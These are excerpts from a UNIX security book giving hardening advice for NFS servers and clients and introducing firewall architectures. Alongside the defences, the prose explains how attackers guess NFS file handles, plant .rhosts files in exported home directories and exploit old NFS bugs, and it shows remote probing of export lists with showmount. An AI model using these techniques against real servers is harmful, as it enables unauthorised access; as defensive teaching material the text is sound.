At mount time, the UNIX mount command allows the client system to specify whether or not SUID files on the remote filesystem will be honored as such. This capability is one of the reasons that the mount command requires superuser privileges to execute. If you provide facilities to allow users to mount their own filesystems (including NFS filesystems as well as filesystems on floppy disks), you should make sure that the facility specifies the nosuid option. Otherwise, users might mount a disk that has a specially prepared SUID program that could cause you some headaches later on.

NFS can also cause availability and performance issues for client machines. If a client has an NFS partition on a server mounted, and the server becomes unavailable (because it crashed, or because network connectivity is lost), then the client can freeze until the NFS server becomes available. Occasionally, an NFS server will crash and restart and - despite NFS's being a connectionless and stateless protocol - the NFS client's file handles will all become stale. In this case, you may find that it is impossible to unmount the stale NFS filesystem, and your only course of action may be to forcibly restart the client computer.

Here are some guidelines for making NFS clients more reliable and more secure:

  • Make sure that your computer is either an NFS server or an NFS client, but not both.

  • If possible, do not allow users to log into your NFS server.

  • Don't allow your NFS clients to mount NFS servers outside your organization.

  • Minimize the number of NFS servers that each client mounts. A system is usually far more reliable and more secure if it mounts two hard disks from a single NFS server, rather than mounting partitions from two NFS servers.

  • If possible, disable the honoring of SUID files and devices on mounted partitions.

Previous: 20.2 Server-Side NFS Security | Practical UNIX & Internet Security | Next: 20.4 Improving NFS Security
20.2 Server-Side NFS Security | Book Index | 20.4 Improving NFS Security


[Chapter 20] 20.4 Improving NFS Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 20.3 Client-Side NFS Security Chapter 20
NFS 		Next: 20.5 Some Last Comments

20.4 Improving NFS Security

There are many techniques that you can use to improve overall NFS security:

  1. Limit the use of NFS by limiting the machines to which filesystems are exported, and limit the number of filesystems that each client mounts.

  2. Export filesystems read-only if possible.

  3. Use root ownership of exported files and directories.

  4. Remove group write permissions from exported files and directories.

  5. Do not export the server's executables.

  6. Do not export home directories.

  7. Do not allow users to log into the server.

  8. Use the fsirand program, as described below.

  9. Set the portmon variable, so that NFS requests that are not received from privileged ports will be ignored.

  10. Use showmount -e to verify that you are only exporting the filesystem you wish to export to the hosts specified with the correct flags.

  11. Use Secure NFS.

These techniques are described below.

20.4.1 Limit Exported and Mounted Filesystems

The best way to limit the danger of NFS is by having each computer only export and/or mount the particular filesystems that are needed.

If a filesystem does not need to be exported, do not export it. If it must be exported, export it to as few machines as possible by judiciously using restrictions in the exports list. If you have a sizeable number of machines to export to and such lists are tedious to maintain, consider careful use of the netgroups mechanism, if you have it. Do not export a filesystem to any computer unless you have to. If possible, export filesystems read-only, as we'll describe in the next section.

If you only need to export part of a filesystem, then export only that part. Do not export an entire filesystem if you only need access to a particular directory.

Likewise, your clients should only mount the NFS servers that are needed. Don't simply have every client in your organization mount every NFS server. Limiting the number of mounted NFS filesystems will improve overall security, and will improve performance and reliability as well.

The above advice may seem simple, but it is advice that is rarely followed. Many organizations have configured their computers so that every server exports all of its filesystems, and so that every client mounts every exported filesystem. And the configuration gets worse: many computers on the Internet today make filesystems available without restriction to any other computer on the Internet. Usually, carelessness or ignorance is to blame: a system administrator faced with the need to allow access to a directory believes that the easiest (or only) way to provide the access is to simply enable file sharing for everybody.

Export Can Be Forever

Some versions of NFS enforce the exports file only during mount, which means that clients that mount filesystems on a server will continue to have access to those filesystems until the clients unmount the server's filesystems or until they are rebooted. Even if the client is removed from the server's exports file and the server is rebooted, the client will continue to have access and can continue to use a filesystem after unmounting it, unless the directory is no longer exported at all, or unless fsirand is run on the exported filesystem to change the generation count of each inode.

Distinguishing a file handle that is guessed from one that is returned to the client by the mount daemon is impossible. Thus, on systems where the exports are only examined upon mounting, any file on the NFS server can by accessed by an adversary who has the ability and determination to search for valid file handles.

Not too long ago, one of us watched a student in a lab in the Netherlands mount filesystems from more than 25 U.S. universities and corporations on his workstation - most with read/write access!

20.4.1.1 The example explained

In the example we presented earlier in this chapter, Example 20.1An /etc/dfs/dfstab file with some problems" a system administrator made three dangerous mistakes. On the third line, the administrator exported the directory /tftpboot. This directory is exported to any computer on the network that wishes to mount it; if the computer is on the Internet, then any other computer on the Internet has access to this server's /tftpboot directory.

What's the harm? First of all, users of the /tftpboot directory may not be aware that files that they place in it can be so widely accessed. Another problem arises if the directory can be written: in this case, there is a possibility that the storage space will be hijacked by software pirates and used as a software pirate "warez" repository. Perhaps worse, the software on that partition can be replaced with hacked versions that may not perform as the real owners would wish! (In this case, /tftpboot is probably used for providing bootstrap code to machines on the network. By modifying this code, a resourceful attacker could force arbitrary computers to run password sniffers, erase their hard drives, or do other unwanted things.)

The last two lines of the sample configuration file have a similar problem: they export the directories /usr/lib/X11/ncd and /usr/openwin freely over the network. Although the directories are exported read only, there is still a chance that a software pirate could use the exported filesystems to obtain copies of copyrighted software. This scenario could create a legal liability for the site running the NFS server.

You can make your server more secure by only exporting filesystems to the particular computers that need to use those filesystems. Don't export filesystems that don't have to be exported. And don't export filesystems to the entire Internet - otherwise you will only be asking for trouble.

Here is a revised dfstab file that is properly configured:

#       place share(1M) commands here for automatic execution
#       on entering init state 3.
#
#       This configuration is more secure.
#
share -F nfs -o rw=red:blue:green /cpg
share -F nfs -o rw=clients -d "spool" /var/spool
share -F nfs -o ro=clients /tftpboot
share -F nfs -o ro=clients /usr/lib/X11/ncd
share -F nfs -o ro=clients /usr/openwin

NOTE: Be aware that the options on export commands and configuration files have different semantics under SVR4 and earlier, BSD-like systems (including SunOS). Under earlier BSD-like systems, the -ro option does not take hostnames as parameters, and there is an -access option to limit access. If you specified an export list under SunOS such as in the above example:

        exportfs -i -o rw=clients /var/spool

then the directory is exported read/write to the members of the clients netgroup, but it is also exported read-only to everyone else on the network! You must also specify the -access option with the -rw option to limit the scope of the export. Thus, to prevent other machines from reading exported files, you must use the following command:

        exportfs -i -o rw=clients,access=clients /var/spool

Under SVR4, both the -rw and -ro options can take a host list to restrict the export of the files. The directory is exported only to the hosts named in the union of the two lists. There is no -access option in SVR4.

20.4.2 Export Read-only

Many filesystems contain information that is only read, never (or rarely) written. These filesystems can be exported read-only. Exporting the filesystems read-only adds to both security and reliability: it prevents the filesystems from being modified by NFS clients, limiting the damage that can be done by attackers, ignorant users, and buggy software.

Many kinds of filesystems are candidates for read-only export:

  • Filesystems containing applications

  • Organizational reference matter, such as policies and documents

  • Netnews (if you do not read news with NNTP)

If you have programs or other files that must be exported read-write, you can improve your system's overall performance, reliability, and security by placing these items on their own filesystem that is separately exported.

To export a filesystem read-only, specify the ro=clients option in either your exports file or your dfstab file (depending on which version of UNIX you are using). In the following example, the /LocalLibrary directory is exported read-only:

share -F nfs -o ro=clients /LocalLibrary

20.4.3 Use Root Ownership

Because the NFS server maps root to nobody, you can protect files and directories on your server by setting their owner to root and their protection mode to 755 (in the case of programs and directories) or 644 (in the case of data files). This setup will prevent the contents of the files from being modified by a client machine.

If you have information on an NFS server that should not be accessible to NFS clients, you can use the file protection mode 700 (in the case of programs and directories) or 600 (in the case of data files). However, a better strategy is not to place the files on the NFS server in the first place.

Remember, this system protects only files on the server that are owned by root. Also, this technique does not work if you have patched your kernel to set the value of nobody to 0, or if you export the filesystems to a particular host with the -root= option.

NOTE: Protecting an executable file to be execute-only will not work as you expect in an NFS environment. Because you must read a file into memory before it can be executed, any file marked executable can also be read from a server using NFS commands (although it may not be possible to do so using standard calls through a client). The server has no way of knowing if the requests to be read are a prelude to execution or not. Thus, putting execute-only files on an exported partition may allow them to be examined or copied from a client machine.

20.4.4 Remove Group-write Permission for Files and Directories

If you are using standard AUTH_UNIX authentication with NFS, then users can effectively place themselves in any group. Thus, to protect files and directories that are owned by root, they must not be group-writable.

20.4.5 Do Not Export Server Executables

If your server is running the same operating system on the same CPU architecture as your client computers, then you might be tempted to have the server export its own executables (such as the programs stored in /bin, /usr/bin, /etc.) for use by the clients. Don't do so without careful thought about the consequences.

At first, exporting a server's own executables seems like a good way to save disk space: this way, you only need to have one copy of each program, which is then shared between the clients and the servers, rather than two copies.

But exporting your server's executables poses several security problems:

  • It allows an attacker to easily determine which version of each executable your server is running, which enables the attacker to probe for weak spots with greater ease.

  • If there is an error in your system's configuration, you may be exporting the binaries on a writable filesystem. An attacker could then modify the server's own binaries, and possibly break in (or at least cause you serious problems).

You can minimize the need for exporting server binaries by using the dataless client configuration that is available on some versions of UNIX. In this case, "dataless" means that each client computer maintains a complete copy of all of its executable files, but stores all of its data that is subject to change on a central server.

If you simply must export the server's binaries, then export the filesystem read-only.

20.4.6 Do Not Export Home Directories

If you export a filesystem that has users' home directories on it and you do not use Secure RPC, then all other clients mounting that directory, as well as the server itself, can be placed at risk.

If you export a filesystem that contains users' home directories, then there is a risk that an attacker could alter the information stored on the NFS server. This is normally a serious risk in itself. However, if the partition being exported includes users' home directories, then one of the things that an attacker can do is create files in the users' home directories.

A simple attack is for an attacker to create a .rhosts file in a users's home directory that specifically allows access to the attacker. Having created this file, the attacker could now log onto the server and proceed to look for additional security holes. Perhaps the greatest danger in this attack is that it can be aimed against system accounts (such as daemon and bin) as easily as accounts used by human users.

Likewise, you should avoid exporting filesystems that contain world-writable directories (e.g., /tmp, /usr/tmp, /usr/spool/uucppublic).

20.4.7 Do Not Allow Users to Log into the Server

NFS and direct logins are two fundamentally different ways to use a computer. If you allow users to log into a server, the user can use that access to probe for weaknesses that can be exploited from NFS, and vice versa.

20.4.8 Use fsirand

One of the security problems with NFS is that the file handles used to reference a file consist solely of a filesystem ID, an inode number, and a generation count. Guessing valid file handles is easy in most circumstances. Filesystem IDs are normally small numbers; the root directory on the standard UNIX filesystem has the inode number 2, /lost+found has the inode number 3, and so on. The only difficulty in guessing a file handle is the generation count. For many important inodes, including the root inode, we would expect the generation count to be very small - we don't normally delete a filesystem's root entry!

The fsirand program increases the difficulty of guessing a valid file handle by randomizing the generation number of every inode on a filesystem. The effect is transparent to the user - files and directories are still fetched as appropriate when a reference is made - but someone on the outside is unable to guess file handles for files and directories anymore.

You can run fsirand on the root directory while in single-user mode or on any unmounted filesystem that will fsck without error.

For example, to run fsirand on your /dev/sd1a partition, type the following:

# umount /dev/sd1a				Unmount the filesystem
# fsirand /dev/sd1a				Run fsirand

You might benefit from running fsirand once a month on your exported partitions. Some people run it automatically every time the system boots, but this has the disadvantage of making all legitimate file handles stale, too. Consider your environment before taking such a drastic step.

The fsirand program is not available on all versions of UNIX. In particular, it is not available under Linux.

NOTE: Older versions of Sun's fsirand contained buggy code that made the "random" values quite predictable. Be sure you have the latest version of fsirand from your vendor. Most newer versions of the newfs command automatically run fsirand, but not all do. The functionality of fsirand is incorporated into the Solaris 2.5 mkfs command.

20.4.9 Set the portmon Variable

Normally, NFS servers respond to requests that are transmitted from any UDP port. However, because NFS requests are supposed to come from kernels of other computers, and not from users who are running user-level programs on other computers, a simple way to improve the security of NFS servers is to program them to reject NFS requests that do not come from privileged ports. On many NFS servers, the way that this restriction is established is by setting the kernel variable nfs_portmon to 1. It's important to do this if you want even a minimal amount of NFS security.[10]

[10] The value of 1 is not the default because some vendors' NFS implementations don't send requests from ports <1024. If you set portmon, those vendors' machines will not be able to be NFS clients from this NFS server.

If you are using SunOS, you can set the nfs_portmon variable to 1 using the adb debugger:[11]

[11] If you rebuild the kernel, these modifications will be lost. You may want to consider adding them to /etc/rc/local. (A version of this command is in /etc/rc/* on some systems.)

# adb -k -w /vmunix /dev/mem		Changes kernel disk file
nfs_portmon/W1	Changes running kernel
_nfs_portmon: _nfs_portmon: 0				The default setting ?W1									Change to 1 $q									Write the result out #

If you are using Solaris 2.1-2.4, you can set the portmon variable by inserting this line into your /etc/system file:

set nfs:nfs_portmon = 1

If you are using Solaris 2.5 and above, you can set the variable by inserting this line into your /etc/system file:

set nfssrv:nfs_portmon = 1

20.4.10 Use showmount -e

The showmount -e command, mentioned earlier in this chapter, lists the host"s export lists - -that is, the directories and hosts that can be mounted. The showmount command allows an optional argument, host. When this argument is provided, the showmount command can be used to remotely inspect another computer's export list. The command is useful for finding NFS servers which are insecurely configured. For example:

% /usr/etc/showmount -e deadly.org
export list for deadly.org:
/bigusers       (everyone)
/tmp2           (everyone)
/               (everyone)
/usr            (everyone)
/var            (everyone)
/usr/public     (everyone)
/usr/public/pub (everyone)
%

In this case, the computer deadly.org appears to be exporting its /bigusers, /tmp2, /, /usr, /var, /usr/public, and /usr/public/pub directories to every other computer on the Internet.

Fortunately, things aren't as bad as they seem at deadly.org. That's because they are using Secure NFS. Here's what happens when you try to mount the filesystem:

# mount deadly.org:/ /nfs/tmp
nfs: bad MNT RPC: RPC: Authentication error; why = Client credential too weak

20.4.11 Use Secure NFS

The biggest security problem with NFS, as it is normally configured, is that it uses Sun's AUTH_UNIX RPC authentication system. With AUTH_UNIX, a user simply provides his UID and a list of GIDS with every request. The NFS server trusts that the users are who they claim to be.

In a friendly environment, AUTH_UNIX authentication presents no problems, because requests sent out by the NFS client always have the same UID and GIDS as the person who has logged in and is using the workstation. However, if the workstation user has root access, that person can use the root access to become any other user, with that other user's corresponding rights and privileges on the RPC server. A second problem with AUTH_UNIX is that user-written programs can have their AUTH_UNIX UID and GIDS set to any value.[12] When reserved port checking is enabled, AUTH_UNIX offers roughly the same level of security as the rsh/rlogin trusted-host facility.

[12] We have seen several "NFS shells" that allow a user to make such accesses in a largely automated way.

Secure NFS overcomes these problems by using AUTH_DES RPC authentication instead of AUTH_UNIX. With Secure NFS, users must be able to decrypt a special key stored on the NIS or NIS+ server before the NFS filesystem will allow the user to access his or her files.

To specify Secure NFS, you must specify the secure option both on the NFS server (in the exports file or the dfstab) and on the client (in the /etc/fstab or /etc/vfstab file).

NOTE: Secure NFS requires Secure RPC to function, and therefore may not be available on all versions of UNIX. If you are in doubt about your system, check your documentation to see if your NFS mount command supports the secure option. Also note that Secure RPC may not be available on non-UNIX implementations of NFS, either.

Here is an example of using Secure NFS. Suppose that a server has a filesystem /Users that it will export using Secure NFS. The server's /etc/dfs/dfstab file might contain the following line:

share -F nfs -o secure,rw=clients /Users

Meanwhile, the clients /etc/vfstab file would have a matching line:

#device     device         mount       FS     fsck    mount    mount
#to moun    to fsck        pont        type   pass    at boot  options
#
server:/Users  -          /Users       nfs    -       yes      secure

Previous: 20.3 Client-Side NFS Security | Practical UNIX & Internet Security | Next: 20.5 Some Last Comments
20.3 Client-Side NFS Security | Book Index | 20.5 Some Last Comments


[Chapter 20] 20.5 Some Last Comments

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 20.4 Improving NFS Security Chapter 20
NFS 		Next: V. Advanced Topics

20.5 Some Last Comments

Here are a few final words about NFS.

20.5.1 Well-Known Bugs

NFS depends on NIS or NIS+ on many machines. Both NFS and NIS implementations have had some well-known implementation flaws and bugs in recent years. Not only are these flaws well-known, there are a number of hacker toolboxes available that include programs to take advantage of these flaws. Therefore, if you are running NFS, you should be certain that you are up to date on vendor patches and bug fixes. In particular:

  • Make sure that your version of the RPC portmapper does not allow proxy requests and that your own system is not in the export list for a partition. Otherwise, a faked packet sent to your RPC system can be made to fool your NFS system into acting as if the packet was valid and came from your own machine.

  • Make sure that your NFS either uses Secure RPC, or examines the full 32 bits of the UIDS passed in. Some early versions of NFS only examined the least significant 16 bits of the passed-in UID for some tests, so accesses could be crafted that would not get mapped to nobody, and would function as root accesses.

  • Make sure that your version of NFS does not allow remote users to issue mknod commands on partitions they import from your servers. A user creating a new /dev/kmem file on your partition has made a big first step towards a complete compromise of your system.

  • Make sure that your NFS does the correct thing when someone does a cd.. in the top level of an imported directory from your server. Some older versions of NFS would return a file handle to the server's real parent directory instead of the parent to the client's mount point. Because NFS doesn't know how you get file handles, and it applies permissions on whole partitions rather than mount points, this process could lead to your server's security being compromised.

    In particular, when a server would export a subdirectory as the root partition for a diskless workstation, a user on the workstation could do cd /; cd... and instead of getting the root directory again, they would have access to the parent directory on the server! Further compounding this scenario, the export of the partition needed to be done with root= access. As a result, clients would have unrestricted access to the server's disks!

  • Make sure that your server parses the export option list correctly. Some past and current NFS implementations get accesses mixed up. If you specify access= and rw= on the same export, or access= and root=, the system sometimes forgets the access= specification and exports the partition to every other machine in the world.

20.5.2 For Real Security, Don't Use NFS

NFS and other distributed filesystems provide some wonderful functions. They are also a source of continuing headaches. You should consider the question of whether you really need all the flexibility and power of NFS and distributed systems. By reexamining your fundamental assumptions, you may find that you can reconfigure your systems to avoid NFS problems completely, by eliminating NFS.

For instance, one reason that is often given for having NFS is to easily keep software in sync on many machines at once. However, that argument was more valid before the days of high-speed local networks and cheap disks. You might be better served by equipping each workstation in your enterprise with a 2GB or 4GB disk, with a complete copy of all of your applications residing on each machine. You can use a facility such as rdist (see Chapter 9) to make necessary updates. Not only will this configuration give you better security, but it will also provide better fault tolerance: if the server or network goes down, each system has everything necessary to continue operation. This configuration also facilitates system customization.

A second argument for network filesystems is that they allow users to access their home accounts with greater ease, no matter which machine they use. But while this may make sense in a university student lab, most employees almost always use the same machine, so there is no reason to access multiple machines as if they were equivalent.

Network filesystems are sometimes used to share large databases from multiple points. But network filesystems are a poor choice for this application because locking the database and synchronizing updates is usually more difficult than sharing a single machine using remote logins. In fact, with the X Window System, opening a window on a central database machine is convenient and often as fast (or faster) than accessing the data via a network filesystem. Alternatively, you can use a database server, with client programs that are run locally.

The argument is also made that sharing filesystems over the network results in lower cost. In point of fact, such a configuration may be more expensive than the alternatives. For instance, putting high-resolution color X display terminals on each desktop and connecting them with 100MB Ethernet to a multiprocessor server equipped with RAID disk may be more cost-effective, provide better security, give better performance, and use less electricity. The result may be a system that is cheaper to buy, operate, and maintain. The only loss is the cachet of equipping each user with a top-of-the-line workstation on his desktop when all he really needs is access to a keyboard, mouse, and fast display.

Indeed, the only argument for network filesystems may be security. Today most X terminals have no support for encryption.[13] On client/server-based systems that use Kerberos or DCE, you can avoid sending unencrypted passwords and user data over the network. But be careful: you will only get the data confidentiality aspects of this approach if your remote filesystem encrypts all user data; most don't.

[13] We expect this to change in the near future.

Questioning your basic assumptions may simultaneously save you time, money, and improve your security.

Previous: 20.4 Improving NFS Security | Practical UNIX & Internet Security | Next: V. Advanced Topics
20.4 Improving NFS Security | Book Index | V. Advanced Topics


[Chapter 21] Firewalls

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: V. Advanced Topics Chapter 21 Next: 21.2 Building Your Own Firewall

21. Firewalls

Contents:
What's a Firewall?
Building Your Own Firewall
Example: Cisco Systems Routers as Chokes
Setting Up the Gate
Special Considerations
Final Comments

Most systems for providing UNIX network security that we have discussed in this book are designed to protect an individual UNIX host from a hostile network. We have also explored systems such as Kerberos and Secure RPC, which allow a set of hosts to communicate securely in a hostile environment.

As an alternative to protecting individual computers on a network, many organizations have opted for a seemingly simpler solution: protecting an organization's internal network from external attack.

The simplest way to protect a network of computers is with physical isolation. Avoid the problems of networks by not connecting your host to the Internet and not providing dial-in modems. Nobody from the outside will be able to attack your computers without first entering your physical premises. Although this approach completely ignores the damage that insiders can do, it is nevertheless a simple, straightforward policy that has been used by most organizations for years. In many environments, this is still the best way to approach network security - there is little to be gained from connection to outside networks, and much to lose.

Recently, however, the growth of the Internet has made physical isolation more difficult. Employees in organizations want email, they want access to Usenet news, and they want to browse the World Wide Web. In addition, organizations want to publish information about themselves on the Web. To allow partial connection to the Internet, while retaining some amount of isolation, some organizations are using firewalls to protect their security.

Firewalls are powerful tools, but they should never be used instead of other security measures. They should only be used in addition to such measures.

21.1 What's a Firewall?

A firewall gives organizations a way to create a middle ground between networks that are completely isolated from external networks, such as the Internet, and those that are completely connected. Placed between an organization's internal network and the external network, the firewall provides a simple way to control the amount and kinds of traffic that will pass between the two.

The term firewall comes from the construction industry. When apartment houses or office buildings are built, they are often equipped with firewalls - specially constructed walls that are resistant to fire. If a fire should start in the building, it may burn out of control in one portion, but the firewall will stop or slow the progress of the fire until help arrives.

The same philosophy can be applied to the protection of local area networks of machines from outside attack. Used within an organization, a firewall can limit the amount of damage: an intruder may break into one set of machines, but the firewall will protect others. Erected between an organizational network and the Internet at large, a firewall prevents a malicious attacker who has gained control of computers outside the organization's walls from gaining a foothold on the inside. Firewalls seem to make sense because there is always a "fire" burning somewhere on the Internet.

21.1.1 Default Permit vs. Default Deny

The fundamental function of a firewall is to restrict the flow of information between two networks. To set up your firewall, you must therefore define what kinds of data pass and what kinds are blocked. This is called defining your firewall's policy. After a policy is defined, you must then create the actual mechanisms that implement that policy.

There are two basic strategies for defining firewall policy:

Default permit

With this strategy, you give the firewall the set of conditions that will result in data being blocked. Any host or protocol that is not covered by your policy will be passed by default.

Default deny

With this strategy, you describe the specific protocols that should be allowed to cross through the firewall, and the specific hosts that may pass data and be contacted. The rest are denied.

There are advantages and disadvantages to both default permit and default deny. The primary advantage of default permit is that it is easier to configure: you simply block out the protocols that are "too dangerous," and rely on your awareness to block new dangerous protocols as they are developed (or discovered). With default deny, you simply enable protocols as they are requested by your users or management. Any protocol that isn't being used by your organization might as well be blocked.

Neither default permit nor default deny is a panacea. With both policies, you can create a firewall that is either secure or unsecure, by permitting (or failing to deny) "dangerous" protocols.

21.1.2 Uses of Firewalls

Firewalls are part of a good defense in depth strategy. The idea is to place several layers of protection between your machines and the potential threats. There are some obvious threats from the outside, so you should naturally place a firewall between the outside and your internal network(s).

Because a firewall is placed at the intersection of two networks, it can be used for many other purposes besides simply controlling access. For example:

  • Firewalls can be used to block access to particular sites on the Internet, or to prevent certain users or machines from accessing certain servers or services.

  • A firewall can be used to monitor communications between your internal network and an external network. For example, you could use the firewall to log the endpoints and amount of data sent over every TCP/IP connection between your organization and the outside world.

  • A firewall can even be used to eavesdrop and record all communications between your internal network and the outside world. A 56KB leased line at 100% utilization passes only 605 MB/day, meaning that a week's worth of Internet traffic can easily fit on a single 8mm digital tape. Such records can be invaluable for tracking down network penetrations or detecting internal subversion.[1]

    [1] Such records also pose profound privacy questions, and possibly legal ones as well. Investigate these questions carefully before engaging in such monitoring.

  • If your organization has more than one physical location and you have a firewall for each location, you can program the firewalls to automatically encrypt packets that are sent over the network between them. In this way, you can use the Internet as your own private wide area network (WAN) without compromising the data; this process is often referred to as creating a virtual private network, or VPN. (You will still be vulnerable to traffic analysis and denial of service attacks, however.)

21.1.3 Anatomy of a Firewall

Fundamentally, all firewalls consist of the following two kinds of components:[2]

[2] The first edition of this book introduced this terminology as part of one of the first written descriptions of firewalls. Although not everyone in the community has adopted these terms, we believe that they are at least as descriptive as other terms invented since.

Chokes

Computer or communications devices that restrict the free flow of packets between networks. Chokes are often implemented with routers, but they do not have to be. The use of the word "choke" is taken from the field of electronics: a choke is a device that exhibits great resistance to certain types of signals, but not to others.

Gates

Specially designated programs, devices, or computers within the firewall's perimeter that receive connections from external networks and handle them appropriately. Other texts on firewalls sometimes refer to single machines that handle all gate functions as bastion hosts.

Ideally, users should not have accounts on a gate computer. This restriction helps improve the computer's reliability and users' security.

On the gate(s), you may run one or more of the following kinds of programs:

Network client software

Client software includes programs such as telnet, ftp and mosaic. One of the simplest ways to give users limited access to the Internet is to allow them to log onto the gate machine and allow them to run network client software directly. This technique has the disadvantage that you must either create user accounts on the gate computer, or you must have users share a single account.

Proxy server

A proxy is a program that poses as another. In the case of a firewall, a proxy is a program that forwards a request through your firewall, from the internal network to the external one.

Network servers

You can also run network servers on your gate. For example, you might want to run an SMTP server such as sendmail or smap so that you can receive electronic mail. (If you wish to run an HTTP server to publish information on the World Wide Web, that server should be run on a separate computer, and not on your gate.)

Many network servers can also function as proxies. They can do so because they implement simple store-and-forward models, allowing them to forward queries or messages that they cannot handle themselves. Some servers that can operate easily as proxies include SMTP (because email messages are automatically forwarded), NNTP (news is cached locally), NTP (time is maintained locally), and DNS (host addresses are locally cached). The following sections explore a variety of different kinds of firewall configurations in use today.

21.1.4 Dual-ported Host: The First Firewalls

The first Internet firewalls were UNIX computers equipped with two network ports: one for the internal network, and one for the external network (see Figure 21.1).

Figure 21.1: Firewall built from a dual-ported host

In this configuration, the UNIX computer functions as both the choke and the gate. Services are provided to internal users in one of two ways:

  • Users can log onto the dual-ported host directly (not a good idea, because users can then compromise the security of the firewall computer).

  • The dual-ported host can run proxy servers for the individual services that you wish to pass across the firewall.

To ensure that the computer functions as a choke, the computer must not forward packets from the external network to the internal network and vice versa. On most UNIX systems using Berkeley-derived TCP/IP, you can do so by setting the kernel variable ip_forwarding to 0.[3] Unfortunately, some UNIX systems will still forward packets that have IP source-routing options set. Thus, you should carefully examine any dual-ported UNIX system that is used as a choke to make sure that it will not forward packets from one interface to another.

[3] This setting is usually established with a SET in the /etc/system file under SVR4, or with a small shell and adb script under other systems. See your system documentation for details.

On a Solaris machine, you can disable both IP forwarding and forwarding of source-routed packets by including the following commands in some start-up file (e.g., in the appropriate file in /etc/rc2.d):[4]

[4] Be careful when you set these variables. The file /etc/init.d/netinit (linked to /etc/rc2.d/S69inet) also contains explicit settings of the ip_forward variable. To avoid having your values overwritten, comment out the system code in inet that sets ip_forward, and put your code in its place.

ndd -set /dev/ip ip_forwarding 0
ndd -set /dev/ip ip_forward_src_routed 0

Note that under SunOS, you need to set ip_forwarding = 0 in the kernel configuration. If you don't, the kernel will still IP forward under some conditions even if you've set the ip_forwarding variable to 0.

21.1.5 Packet Filtering: A Simple Firewall with Only a Choke

A simple firewall can be built from a single choke (see Figure 21.2.) For example, some organizations use the packet filtering features available on some routers to block the TCP and UDP packets for certain kinds of services.

Figure 21.2: Firewall built from a single choke

Programming the choke is straightforward:

  • Block all packets for services that are not used.

  • Block all packets that explicitly set IP source-routing options.

  • Allow incoming TCP connections to your predetermined network servers, but block all others.

  • Optionally, allow computers within your organization's network to initiate outgoing TCP connections to any computer on the Internet.

This is a simple configuration very popular on today's Internet. Many organizations use a single choke (usually a router) as a firewall for the entire organization.

Packet filtering has a number of advantages:

  • It is simple and cheap. Most organizations can build packet filters using routers that they already use to connect their networks to the Internet.

  • Packet filtering is flexible. For example, if you discover that a person on a particular subnet, say 204.17.191.0, is trying to break into your computer, you can simply block all access to your network from that subnet. (Of course, this method will only work until the user at the subnet decides to launch an attack against you from another network or begins to forge IP addresses in the packets.)

Packet filters have several disadvantages:

  • Filters typically do not have very sophisticated systems for logging the amount of traffic that has crossed the firewall, logging break-in attempts, or giving different kinds of access to different users; however, some routers now include support for logging filter violations through the use of syslog.

  • Filter rulesets can be very complex - so complex that you might not know if they are correct or not.

  • There is no easy way to test filters except through direct experimentation, which may prove problematical in many situations.

  • Packet filters do not handle the FTP protocol well because data transfers occur over high-numbered TCP ports; however, this problem can be alleviated by FTP clients that support the FTP passive mode.

In addition to these disadvantages, there are several fundamental design weaknesses with packet filters:

  • If the security of the router is compromised, then all hosts on the internal network are wide open to attack.

  • You may not know if the security of the router is compromised because there is no simple way to test the router's configuration tables.

  • Although the router may record the number of packets that are passed and blocked, it usually does not record other kinds of useful information.

  • The router may allow remote administration. It may not alert you if somebody is repeatedly trying to guess its access password.

  • The scheme can easily be defeated with minimal aid from a cooperative (or duped) insider.

  • There is no protection against the contents of some connections, such as email or FTP transfer contents.

21.1.6 One Choke, One Gate: Screened Host Architecture

You can build a more secure firewall using a choke and a gate. The gate is a specially chosen computer on your network at which you run your mail server and any user proxy programs. (WWW servers and anonymous FTP servers should be run on separate computers, outside the firewall.) The choke can be a router with two interfaces. For example, a router with two Ethernet interfaces can partition one network from another. Alternatively, a router with an Ethernet and a high-speed interface can serve both as a gate and as an organization's connection with an off-site Internet service provider (ISP).[5] (See Figure 21.3.)

[5] Many ISPs will, as a courtesy, maintain the router that connects your network to theirs. If you allow your ISP to maintain your router, then you should not use it as the basis for your firewall. Instead, you should have a second router behind the first router that is used only for security.

Figure 21.3: Traditional firewall with a choke and a gate

Programming is somewhat more complex in this arrangement.

External choke:

  • Block packets for services that you do not wish to cross your firewall.

  • Block packets that have IP source routing, or that have other "unusual" options set (e.g., record-route).

  • Block packets that have your internal network as their destination.

  • Only pass packets for which the source or destination IP address is the IP address of the gate.

Gate:

  • Runs server proxies to allow users on the inside network to use services on the external network.

  • Either acts as a mail server, or receives mail from the external network and forwards it to a specially designed host on the internal network.

With this configuration, the choke is configured so that it will only pass packets between the outside network and the gate. If any computer on your inside network wishes to communicate with the outside, the communication package must pass through a special "proxy" program running on the gate.[6] Users on the outside network must connect to the gate before bridging through to your internal network.

[6] We describe one such set of proxies in Chapter 22, Wrappers and Proxies.

21.1.7 Two Chokes and One Gate: Screened Subnet Architecture

For a higher degree of security, some sites have implemented a firewall built from two chokes, as shown in Figure 21.4.

Figure 21.4: . Firewall built from two chokes and one gate

In this configuration, both the external choke and the gate are programmed as before. What's new is the addition of an internal choke. This second choke is a fail-safe: in the event that an attacker breaks into the gate and gains control over it, the internal choke prevents the attacker from using the gate to launch attacks against other computers inside the organization's network.

Programming is similar to that of a single choke:

External choke:

  • Block packets for services that you do not wish to cross your firewall.

  • Block packets that have IP source routing or that have other "unusual" options set.

  • Block packets addressed to your internal network or your internal choke.

  • Only pass packets for which the source or the destination IP address is that of the gate.

Gate:

  • Runs server proxies to allow users on the inside network to use services on the external network.

  • Either acts as a mail server, or sends mail to a specially designed host on the internal network.

Internal choke:

  • Block packets for services that you do not wish to cross your firewall.

  • Block packets that have IP source routing or that have other "unusual" options set.

  • Block packets addressed to the external choke.

  • Pass packets for which the source or destination IP address is that of the gate, and for which the ports are for defined proxies on the gate.

  • Block everything else.

21.1.8 Multiple Gates

Instead of using a single gate, you can use several gates - one for each protocol. This approach has the advantage of making the gates easier to administer. However, this approach also increases the number of machines that must be carefully watched for unusual activity. A simpler approach might be to have a single gate, but to create individual servers within your organization's network for specific services such as mail, Usenet, World Wide Web, and so forth.

21.1.9 Internal Firewalls

Instead of putting all your organization's machines on a single local network, you can separate your installation into sets of independent local area networks. These networks can communicate through gateway machines, routers, or full-blown firewalls. Alternatively, they can communicate with each other through independent links to the Internet, using an appropriate encryption system to prevent eavesdropping by your ISP and others.

